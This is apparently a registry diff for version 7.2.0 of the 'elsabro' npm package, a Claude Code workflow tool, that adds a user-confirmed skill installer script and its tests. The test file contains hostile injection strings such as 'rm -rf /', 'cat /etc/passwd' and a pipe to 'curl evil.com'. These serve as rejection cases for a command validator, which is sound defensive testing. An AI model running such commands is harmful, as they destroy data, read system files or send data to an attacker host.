elsabro 7.1.0 → 7.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -172,10 +172,67 @@ Los skills proveen patrones de código verificados, configuraciones de setup, y
172
172
  const recommendedSkills = state.context.available_skills || [];
173
173
 
174
174
  if (recommendedSkills.length > 0) {
175
- // 2. Cargar contenido de los top-3 skills con match
175
+ // 2. Cargar contenido de los top-3 skills (local → global → install)
176
176
  const loadedSkills = [];
177
+ let registryDown = false;
177
178
  for (const skill of recommendedSkills.slice(0, 3)) {
178
- const content = Read(`skills/${skill.id}.md`);
179
+ // 2a. Try local ELSABRO skill first
180
+ let content = Read(`skills/${skill.id}.md`);
181
+
182
+ // 2b. Try global installed skill
183
+ if (!content) {
184
+ content = Read(`${HOME}/.claude/skills/${skill.id}.md`);
185
+ }
186
+
187
+ // 2c. If not found locally and has install_cmd → offer to install
188
+ if (!content && skill.install_cmd && skill.source === "skills-registry" && !registryDown) {
189
+ // Check registry accessibility
190
+ const checkResult = Bash(`bash ./hooks/skill-install.sh check`, { timeout: 20000 });
191
+ const check = JSON.parse(checkResult);
192
+
193
+ if (check.status === "ok") {
194
+ // Ask user permission
195
+ const answer = AskUserQuestion({
196
+ questions: [{
197
+ question: `Skill "${skill.id}" no esta instalado localmente pero esta disponible en el registry. Instalarlo?`,
198
+ header: "Skill Install",
199
+ options: [
200
+ { label: "Instalar", description: `Ejecuta: ${skill.install_cmd}` },
201
+ { label: "Omitir", description: "Continuar sin este skill" }
202
+ ],
203
+ multiSelect: false
204
+ }]
205
+ });
206
+
207
+ if (answer === "Instalar") {
208
+ // Execute install
209
+ const installResult = Bash(`bash ./hooks/skill-install.sh install "${skill.install_cmd}"`, { timeout: 45000 });
210
+ const install = JSON.parse(installResult);
211
+
212
+ if (install.status === "ok") {
213
+ // Validate installed file
214
+ const validateResult = Bash(`bash ./hooks/skill-install.sh validate "${skill.id}"`, { timeout: 5000 });
215
+ const validation = JSON.parse(validateResult);
216
+
217
+ if (validation.status === "ok") {
218
+ content = Read(validation.path);
219
+ output(` + Skill "${skill.id}" instalado y cargado`);
220
+ } else {
221
+ output(` ! Skill "${skill.id}" instalado pero formato invalido — omitido`);
222
+ }
223
+ } else {
224
+ output(` ! Instalacion de "${skill.id}" fallo: ${install.message} — omitido`);
225
+ }
226
+ } else {
227
+ output(` - Skill "${skill.id}" omitido por usuario`);
228
+ }
229
+ } else {
230
+ output(` ! Registry no disponible — omitiendo instalacion de skills externos`);
231
+ registryDown = true; // Skip install attempts for remaining skills
232
+ }
233
+ }
234
+
235
+ // 2d. Load content if available (from any source)
179
236
  if (content) {
180
237
  loadedSkills.push({
181
238
  name: skill.id,
@@ -0,0 +1,374 @@
1
+ 'use strict';
2
+
3
+ const { describe, it } = require('node:test');
4
+ const assert = require('node:assert/strict');
5
+ const { execSync } = require('node:child_process');
6
+ const fs = require('node:fs');
7
+ const path = require('node:path');
8
+ const os = require('node:os');
9
+
10
+ // ---------- Shared helpers ----------
11
+
12
+ const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
13
+ const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
14
+
15
+ /**
16
+ * Run skill-install.sh with given args, parse JSON from stdout.
17
+ * Script always exits 0; errors communicated via JSON.
18
+ */
19
+ function runInstall(args, opts = {}) {
20
+ const env = { ...process.env, ...opts.env };
21
+ try {
22
+ const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
23
+ cwd: PROJECT_ROOT,
24
+ encoding: 'utf8',
25
+ env,
26
+ stdio: ['pipe', 'pipe', 'pipe'],
27
+ timeout: 15000
28
+ });
29
+ return JSON.parse(stdout.trim());
30
+ } catch (err) {
31
+ // Script exits 0, but execSync can throw on timeout or signal
32
+ if (err.stdout) return JSON.parse(err.stdout.trim());
33
+ throw err;
34
+ }
35
+ }
36
+
37
+ /**
38
+ * Create a temp dir with a mock `npx` script that executes the given behavior.
39
+ * Returns the temp dir path (prepend to PATH).
40
+ */
41
+ function createMockNpx(behavior) {
42
+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
43
+ const script = path.join(dir, 'npx');
44
+ fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
45
+ return dir;
46
+ }
47
+
48
+ /**
49
+ * Create a temp HOME-equivalent dir with .claude/skills/ structure.
50
+ * `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
51
+ * Returns the tmpdir (use as HOME).
52
+ */
53
+ function createMockSkillsDir(skills = {}) {
54
+ const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
55
+ const skillsDir = path.join(tmpBase, '.claude', 'skills');
56
+ fs.mkdirSync(skillsDir, { recursive: true });
57
+ for (const [name, content] of Object.entries(skills)) {
58
+ const filePath = path.join(skillsDir, name);
59
+ fs.mkdirSync(path.dirname(filePath), { recursive: true });
60
+ fs.writeFileSync(filePath, content);
61
+ }
62
+ return tmpBase;
63
+ }
64
+
65
+ function cleanup(dir) {
66
+ fs.rmSync(dir, { recursive: true, force: true });
67
+ }
68
+
69
+ // ---------- Tests ----------
70
+
71
+ describe('skill-install.sh', () => {
72
+
73
+ // ---- cmd_check ----
74
+ describe('cmd_check', () => {
75
+ it('returns ok when npx skills check succeeds', () => {
76
+ const mockDir = createMockNpx('echo "Registry OK"; exit 0');
77
+ try {
78
+ const result = runInstall('check', {
79
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
80
+ });
81
+ assert.equal(result.status, 'ok');
82
+ } finally {
83
+ cleanup(mockDir);
84
+ }
85
+ });
86
+
87
+ it('returns error when npx skills check fails', () => {
88
+ const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
89
+ try {
90
+ const result = runInstall('check', {
91
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
92
+ });
93
+ assert.equal(result.status, 'error');
94
+ assert.ok(result.message.includes('registry check failed'));
95
+ } finally {
96
+ cleanup(mockDir);
97
+ }
98
+ });
99
+
100
+ it('returns error when npx is not found', () => {
101
+ const result = runInstall('check', {
102
+ env: { PATH: '/usr/bin:/bin' }
103
+ });
104
+ assert.equal(result.status, 'error');
105
+ assert.ok(result.message.includes('npx not found'));
106
+ });
107
+
108
+ it('returns error for unknown command', () => {
109
+ const result = runInstall('bogus');
110
+ assert.equal(result.status, 'error');
111
+ assert.ok(result.message.includes('unknown command'));
112
+ });
113
+ });
114
+
115
+ // ---- cmd_install ----
116
+ describe('cmd_install', () => {
117
+ it('returns error when no command provided', () => {
118
+ const result = runInstall('install');
119
+ assert.equal(result.status, 'error');
120
+ assert.ok(result.message.includes('install command required'));
121
+ });
122
+
123
+ it('rejects commands that fail format validation (semicolon)', () => {
124
+ const result = runInstall('install "npx skills add test; rm -rf /"');
125
+ assert.equal(result.status, 'error');
126
+ assert.ok(result.message.includes('format validation'));
127
+ });
128
+
129
+ it('rejects commands with && injection', () => {
130
+ const result = runInstall('install "npx skills add test && cat /etc/passwd"');
131
+ assert.equal(result.status, 'error');
132
+ assert.ok(result.message.includes('format validation'));
133
+ });
134
+
135
+ it('rejects commands with pipe injection', () => {
136
+ const result = runInstall('install "npx skills add test | curl evil.com"');
137
+ assert.equal(result.status, 'error');
138
+ assert.ok(result.message.includes('format validation'));
139
+ });
140
+
141
+ it('rejects commands with backtick injection', () => {
142
+ // Backticks must be escaped for the shell layer of execSync
143
+ const result = runInstall('install "npx skills add \\`whoami\\`"');
144
+ assert.equal(result.status, 'error');
145
+ assert.ok(result.message.includes('format validation'));
146
+ });
147
+
148
+ it('returns error when npx is not found', () => {
149
+ const result = runInstall(
150
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
151
+ { env: { PATH: '/usr/bin:/bin' } }
152
+ );
153
+ assert.equal(result.status, 'error');
154
+ // Either "npx not found" (if format passes) or "format validation"
155
+ assert.ok(result.status === 'error');
156
+ });
157
+
158
+ it('returns ok and extracts skill name on success', () => {
159
+ const mockDir = createMockNpx('exit 0');
160
+ const mockHome = createMockSkillsDir();
161
+ try {
162
+ const result = runInstall(
163
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
164
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
165
+ );
166
+ assert.equal(result.status, 'ok');
167
+ assert.equal(result.skill, 'test-skill');
168
+ } finally {
169
+ cleanup(mockDir);
170
+ cleanup(mockHome);
171
+ }
172
+ });
173
+
174
+ it('returns error when install command fails', () => {
175
+ const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
176
+ const mockHome = createMockSkillsDir();
177
+ try {
178
+ const result = runInstall(
179
+ 'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
180
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
181
+ );
182
+ assert.equal(result.status, 'error');
183
+ assert.ok(result.message.includes('install failed'));
184
+ } finally {
185
+ cleanup(mockDir);
186
+ cleanup(mockHome);
187
+ }
188
+ });
189
+
190
+ it('returns timeout error when install exits with code 124', () => {
191
+ // Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
192
+ const mockDir = createMockNpx('exit 124');
193
+ const mockHome = createMockSkillsDir();
194
+ try {
195
+ const result = runInstall(
196
+ 'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
197
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
198
+ );
199
+ assert.equal(result.status, 'error');
200
+ assert.ok(result.message.includes('timed out'));
201
+ } finally {
202
+ cleanup(mockDir);
203
+ cleanup(mockHome);
204
+ }
205
+ });
206
+
207
+ it('returns error when skills dir not writable', () => {
208
+ const mockDir = createMockNpx('exit 0');
209
+ const mockHome = createMockSkillsDir();
210
+ const skillsDir = path.join(mockHome, '.claude', 'skills');
211
+ fs.chmodSync(skillsDir, 0o444);
212
+ try {
213
+ const result = runInstall(
214
+ 'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
215
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
216
+ );
217
+ assert.equal(result.status, 'error');
218
+ assert.ok(result.message.includes('not writable'));
219
+ } finally {
220
+ fs.chmodSync(skillsDir, 0o755);
221
+ cleanup(mockDir);
222
+ cleanup(mockHome);
223
+ }
224
+ });
225
+
226
+ it('invalidates discovery cache on success', () => {
227
+ const mockDir = createMockNpx('exit 0');
228
+ const mockHome = createMockSkillsDir();
229
+ const cacheDir = path.join(PROJECT_ROOT, '.cache');
230
+ const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
231
+ // Save original content (not just existence) to restore after test
232
+ const originalContent = fs.existsSync(cacheFile)
233
+ ? fs.readFileSync(cacheFile, 'utf8')
234
+ : null;
235
+ if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
236
+ fs.writeFileSync(cacheFile, '{"cached":true}');
237
+ try {
238
+ runInstall(
239
+ 'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
240
+ { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
241
+ );
242
+ assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
243
+ } finally {
244
+ cleanup(mockDir);
245
+ cleanup(mockHome);
246
+ // Restore exact original content, or remove if it didn't exist
247
+ if (originalContent !== null) {
248
+ fs.writeFileSync(cacheFile, originalContent);
249
+ } else if (fs.existsSync(cacheFile)) {
250
+ fs.unlinkSync(cacheFile);
251
+ }
252
+ }
253
+ });
254
+ });
255
+
256
+ // ---- cmd_validate ----
257
+ describe('cmd_validate', () => {
258
+ it('returns error when no skill name provided', () => {
259
+ const result = runInstall('validate');
260
+ assert.equal(result.status, 'error');
261
+ assert.ok(result.message.includes('skill name required'));
262
+ });
263
+
264
+ it('returns ok with has_frontmatter:true for flat file with YAML', () => {
265
+ const mockHome = createMockSkillsDir({
266
+ 'test-skill.md': '---\nname: test-skill\n---\n# Content'
267
+ });
268
+ try {
269
+ const result = runInstall('validate "test-skill"', {
270
+ env: { HOME: mockHome }
271
+ });
272
+ assert.equal(result.status, 'ok');
273
+ assert.equal(result.has_frontmatter, true);
274
+ assert.ok(result.path.includes('test-skill.md'));
275
+ } finally {
276
+ cleanup(mockHome);
277
+ }
278
+ });
279
+
280
+ it('returns ok with has_frontmatter:false for flat file without YAML', () => {
281
+ const mockHome = createMockSkillsDir({
282
+ 'no-yaml.md': '# Just markdown\nNo frontmatter here'
283
+ });
284
+ try {
285
+ const result = runInstall('validate "no-yaml"', {
286
+ env: { HOME: mockHome }
287
+ });
288
+ assert.equal(result.status, 'ok');
289
+ assert.equal(result.has_frontmatter, false);
290
+ } finally {
291
+ cleanup(mockHome);
292
+ }
293
+ });
294
+
295
+ it('finds skill in subdirectory SKILL.md with YAML', () => {
296
+ const mockHome = createMockSkillsDir({
297
+ 'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
298
+ });
299
+ try {
300
+ const result = runInstall('validate "subskill"', {
301
+ env: { HOME: mockHome }
302
+ });
303
+ assert.equal(result.status, 'ok');
304
+ assert.equal(result.has_frontmatter, true);
305
+ assert.ok(result.path.includes('subskill/SKILL.md'));
306
+ } finally {
307
+ cleanup(mockHome);
308
+ }
309
+ });
310
+
311
+ it('returns has_frontmatter:false for subdirectory without YAML', () => {
312
+ const mockHome = createMockSkillsDir({
313
+ 'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
314
+ });
315
+ try {
316
+ const result = runInstall('validate "subskill-noyaml"', {
317
+ env: { HOME: mockHome }
318
+ });
319
+ assert.equal(result.status, 'ok');
320
+ assert.equal(result.has_frontmatter, false);
321
+ assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
322
+ } finally {
323
+ cleanup(mockHome);
324
+ }
325
+ });
326
+
327
+ it('returns error when skill file not found', () => {
328
+ const mockHome = createMockSkillsDir({});
329
+ try {
330
+ const result = runInstall('validate "nonexistent"', {
331
+ env: { HOME: mockHome }
332
+ });
333
+ assert.equal(result.status, 'error');
334
+ assert.ok(result.message.includes('not found'));
335
+ } finally {
336
+ cleanup(mockHome);
337
+ }
338
+ });
339
+ });
340
+
341
+ // ---- JSON contract ----
342
+ describe('JSON contract', () => {
343
+ it('all commands return valid JSON on stdout', () => {
344
+ const mockDir = createMockNpx('exit 1');
345
+ try {
346
+ const commands = ['check', 'install', 'validate', 'bogus'];
347
+ for (const cmd of commands) {
348
+ const result = runInstall(cmd, {
349
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
350
+ });
351
+ assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
352
+ assert.ok('status' in result, `${cmd} should have status field`);
353
+ }
354
+ } finally {
355
+ cleanup(mockDir);
356
+ }
357
+ });
358
+
359
+ it('status is always "ok" or "error"', () => {
360
+ const mockDir = createMockNpx('exit 0');
361
+ try {
362
+ const okResult = runInstall('check', {
363
+ env: { PATH: `${mockDir}:${process.env.PATH}` }
364
+ });
365
+ assert.ok(['ok', 'error'].includes(okResult.status));
366
+ } finally {
367
+ cleanup(mockDir);
368
+ }
369
+
370
+ const errResult = runInstall('bogus');
371
+ assert.ok(['ok', 'error'].includes(errResult.status));
372
+ });
373
+ });
374
+ });
@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
31
31
  CACHE_DIR="${PROJECT_ROOT}/.cache"
32
32
  CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
33
33
  CACHE_TTL=3600 # 1 hora
34
+ DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
34
35
 
35
36
  MAX_RESULTS=10
36
37
  NPX_TIMEOUT=30 # segundos
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
291
292
  # El formato típico es líneas con nombre y descripción
292
293
  # Intentar parsear como JSON primero (por si devuelve JSON)
293
294
  if echo "$raw_output" | jq empty 2>/dev/null; then
294
- echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add -g " + .name)}]' 2>/dev/null || echo "[]"
295
+ echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
295
296
  return
296
297
  fi
297
298
 
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
312
313
 
313
314
  # Use jq for safe JSON construction
314
315
  local skill_obj
315
- skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg cmd "npx skills add -g $name" \
316
- '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $cmd}')
316
+ skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
317
+ '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
317
318
  skills+=("$skill_obj")
318
319
  done <<< "$raw_output"
319
320
 
@@ -450,6 +451,7 @@ NOJQ
450
451
  --argjson external "$external" \
451
452
  --argjson recommended "$recommended" \
452
453
  --argjson updates "$updates" \
454
+ --arg src "$DEFAULT_SKILLS_SOURCE" \
453
455
  '{
454
456
  timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
455
457
  status: "success",
@@ -484,7 +486,7 @@ NOJQ
484
486
  actions: {
485
487
  install_all: (
486
488
  if ($recommended | length) > 0
487
- then "npx skills add -g " + ([$recommended[].id] | join(" "))
489
+ then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
488
490
  else null
489
491
  end
490
492
  ),
@@ -0,0 +1,224 @@
1
+ #!/bin/bash
2
+ # skill-install.sh - ELSABRO Skill Install Bridge (v1.0.0)
3
+ #
4
+ # Instala skills del vercel-labs/skills registry y valida archivos instalados.
5
+ # Companion de skill-discovery.sh — este script ejecuta lo que discovery recomienda.
6
+ #
7
+ # Comandos:
8
+ # check - Valida accesibilidad del registry (npx skills check)
9
+ # install "<cmd>" - Ejecuta install command con pre-checks y timeout (e.g. npx skills add ...)
10
+ # validate "<name>" - Verifica que skill instalado existe y tiene YAML frontmatter
11
+ #
12
+ # Output: JSON en stdout, logs en stderr
13
+ # Errores: Siempre exit 0, errores comunicados via JSON {"status":"error","message":"..."}
14
+ #
15
+ # Requiere: bash 4+, node/npm (para npx)
16
+
17
+ set -euo pipefail
18
+
19
+ # ============================================================================
20
+ # CONFIGURACION
21
+ # ============================================================================
22
+
23
+ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
24
+ PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
25
+ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
26
+ CACHE_FILE="${PROJECT_ROOT}/.cache/skill-discovery-cache.json"
27
+
28
+ NPX_TIMEOUT=30 # segundos para install
29
+ CHECK_TIMEOUT=15 # segundos para check
30
+
31
+ # Portable timeout: use gtimeout (macOS/brew) > timeout (Linux) > no timeout
32
+ if command -v gtimeout >/dev/null 2>&1; then
33
+ TIMEOUT_CMD="gtimeout"
34
+ elif command -v timeout >/dev/null 2>&1; then
35
+ TIMEOUT_CMD="timeout"
36
+ else
37
+ TIMEOUT_CMD=""
38
+ fi
39
+
40
+ run_with_timeout() {
41
+ local secs="$1"; shift
42
+ if [[ -n "$TIMEOUT_CMD" ]]; then
43
+ "$TIMEOUT_CMD" "$secs" "$@"
44
+ else
45
+ "$@"
46
+ fi
47
+ }
48
+
49
+ # Colores para stderr
50
+ RED='\033[0;31m'
51
+ GREEN='\033[0;32m'
52
+ YELLOW='\033[1;33m'
53
+ NC='\033[0m'
54
+ PREFIX="[ELSABRO:install]"
55
+
56
+ # ============================================================================
57
+ # LOGGING (stderr only)
58
+ # ============================================================================
59
+
60
+ log_info() { echo -e "${GREEN}${PREFIX}${NC} $*" >&2; }
61
+ log_warn() { echo -e "${YELLOW}${PREFIX}${NC} $*" >&2; }
62
+ log_error() { echo -e "${RED}${PREFIX}${NC} $*" >&2; }
63
+
64
+ # ============================================================================
65
+ # JSON OUTPUT (stdout only)
66
+ # ============================================================================
67
+
68
+ json_ok() {
69
+ local extra="${1:-}"
70
+ if [[ -n "$extra" ]]; then
71
+ echo "{\"status\":\"ok\",$extra}"
72
+ else
73
+ echo '{"status":"ok"}'
74
+ fi
75
+ }
76
+
77
+ json_error() {
78
+ local msg="$1"
79
+ echo "{\"status\":\"error\",\"message\":\"$msg\"}"
80
+ }
81
+
82
+ # ============================================================================
83
+ # COMMAND: check
84
+ # Validates registry accessibility via npx skills check
85
+ # ============================================================================
86
+
87
+ cmd_check() {
88
+ log_info "Checking registry accessibility..."
89
+
90
+ command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
91
+
92
+ local output
93
+ if output=$(run_with_timeout "$CHECK_TIMEOUT" npx -y skills check 2>&1); then
94
+ log_info "Registry accessible"
95
+ json_ok
96
+ else
97
+ log_error "Registry check failed: $output"
98
+ json_error "registry check failed"
99
+ fi
100
+ }
101
+
102
+ # ============================================================================
103
+ # COMMAND: install <install_cmd>
104
+ # Executes the given install command with pre-checks and timeout
105
+ # ============================================================================
106
+
107
+ cmd_install() {
108
+ local install_cmd="${1:-}"
109
+
110
+ if [[ -z "$install_cmd" ]]; then
111
+ json_error "install command required"
112
+ exit 0
113
+ fi
114
+
115
+ log_info "Installing skill: $install_cmd"
116
+
117
+ # Pre-check: command format (defense-in-depth — only allow npx skills add ...)
118
+ if [[ ! "$install_cmd" =~ ^npx[[:space:]]+((-y|skills|add|--skill|--yes|-g|-a|claude-code|[a-zA-Z0-9/_-]+)[[:space:]]*)+$ ]]; then
119
+ json_error "install command failed format validation"
120
+ exit 0
121
+ fi
122
+
123
+ # Pre-check: npx available
124
+ command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
125
+
126
+ # Pre-check: skills dir exists and is writable
127
+ if [[ ! -d "$GLOBAL_SKILLS_DIR" ]]; then
128
+ mkdir -p "$GLOBAL_SKILLS_DIR" 2>/dev/null || { json_error "$GLOBAL_SKILLS_DIR cannot be created"; exit 0; }
129
+ fi
130
+ test -w "$GLOBAL_SKILLS_DIR" || { json_error "$GLOBAL_SKILLS_DIR not writable"; exit 0; }
131
+
132
+ # Execute install command with timeout
133
+ local output
134
+ if output=$(run_with_timeout "$NPX_TIMEOUT" bash -c "$install_cmd" 2>&1); then
135
+ log_info "Install succeeded"
136
+
137
+ # Extract skill name from command (--skill <name>)
138
+ local skill_name
139
+ skill_name=$(echo "$install_cmd" | sed -n 's/.*--skill \([a-zA-Z0-9_-]*\).*/\1/p')
140
+
141
+ # Invalidate discovery cache (so next run sees skill as installed)
142
+ if [[ -f "$CACHE_FILE" ]]; then
143
+ rm -f "$CACHE_FILE"
144
+ log_info "Discovery cache invalidated"
145
+ fi
146
+
147
+ json_ok "\"skill\":\"$skill_name\""
148
+ else
149
+ local exit_code=$?
150
+ if [[ $exit_code -eq 124 ]]; then
151
+ log_error "Install timed out after ${NPX_TIMEOUT}s"
152
+ json_error "install timed out after ${NPX_TIMEOUT}s"
153
+ else
154
+ log_error "Install failed (exit $exit_code): $output"
155
+ json_error "install failed: $(echo "$output" | tail -1 | tr '"' "'")"
156
+ fi
157
+ fi
158
+ }
159
+
160
+ # ============================================================================
161
+ # COMMAND: validate <skill_name>
162
+ # Checks installed file exists and has YAML frontmatter
163
+ # ============================================================================
164
+
165
+ cmd_validate() {
166
+ local skill_name="${1:-}"
167
+
168
+ if [[ -z "$skill_name" ]]; then
169
+ json_error "skill name required"
170
+ exit 0
171
+ fi
172
+
173
+ log_info "Validating skill: $skill_name"
174
+
175
+ # Check flat file first: ~/.claude/skills/<name>.md
176
+ local flat_path="${GLOBAL_SKILLS_DIR}/${skill_name}.md"
177
+ if [[ -f "$flat_path" ]]; then
178
+ local first_line
179
+ first_line=$(head -1 "$flat_path")
180
+ if [[ "$first_line" == "---" ]]; then
181
+ log_info "Valid skill at $flat_path (YAML frontmatter)"
182
+ json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":true"
183
+ else
184
+ log_warn "File exists but no YAML frontmatter: $flat_path"
185
+ json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":false"
186
+ fi
187
+ return
188
+ fi
189
+
190
+ # Check subdirectory fallback: ~/.claude/skills/<name>/SKILL.md
191
+ local subdir_path="${GLOBAL_SKILLS_DIR}/${skill_name}/SKILL.md"
192
+ if [[ -f "$subdir_path" ]]; then
193
+ local first_line
194
+ first_line=$(head -1 "$subdir_path")
195
+ if [[ "$first_line" == "---" ]]; then
196
+ log_info "Valid skill at $subdir_path (YAML frontmatter)"
197
+ json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":true"
198
+ else
199
+ log_warn "File exists but no YAML frontmatter: $subdir_path"
200
+ json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":false"
201
+ fi
202
+ return
203
+ fi
204
+
205
+ log_error "Skill not found: checked $flat_path and $subdir_path"
206
+ json_error "skill file not found after install"
207
+ }
208
+
209
+ # ============================================================================
210
+ # MAIN
211
+ # ============================================================================
212
+
213
+ cmd="${1:-}"
214
+ shift || true
215
+
216
+ case "$cmd" in
217
+ check) cmd_check ;;
218
+ install) cmd_install "$@" ;;
219
+ validate) cmd_validate "$@" ;;
220
+ *)
221
+ json_error "unknown command: $cmd (use: check, install, validate)"
222
+ exit 0
223
+ ;;
224
+ esac
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "elsabro",
3
- "version": "7.1.0",
3
+ "version": "7.2.0",
4
4
  "description": "Sistema de desarrollo AI-powered para Claude Code - BMAD Method Integration, Spec-Driven Development, Party Mode, Next Step Suggestions, Stitch UI Design, Agent Teams, blocking code review, orquestación avanzada con flows declarativos",
5
5
  "bin": {
6
6
  "elsabro": "bin/install.js",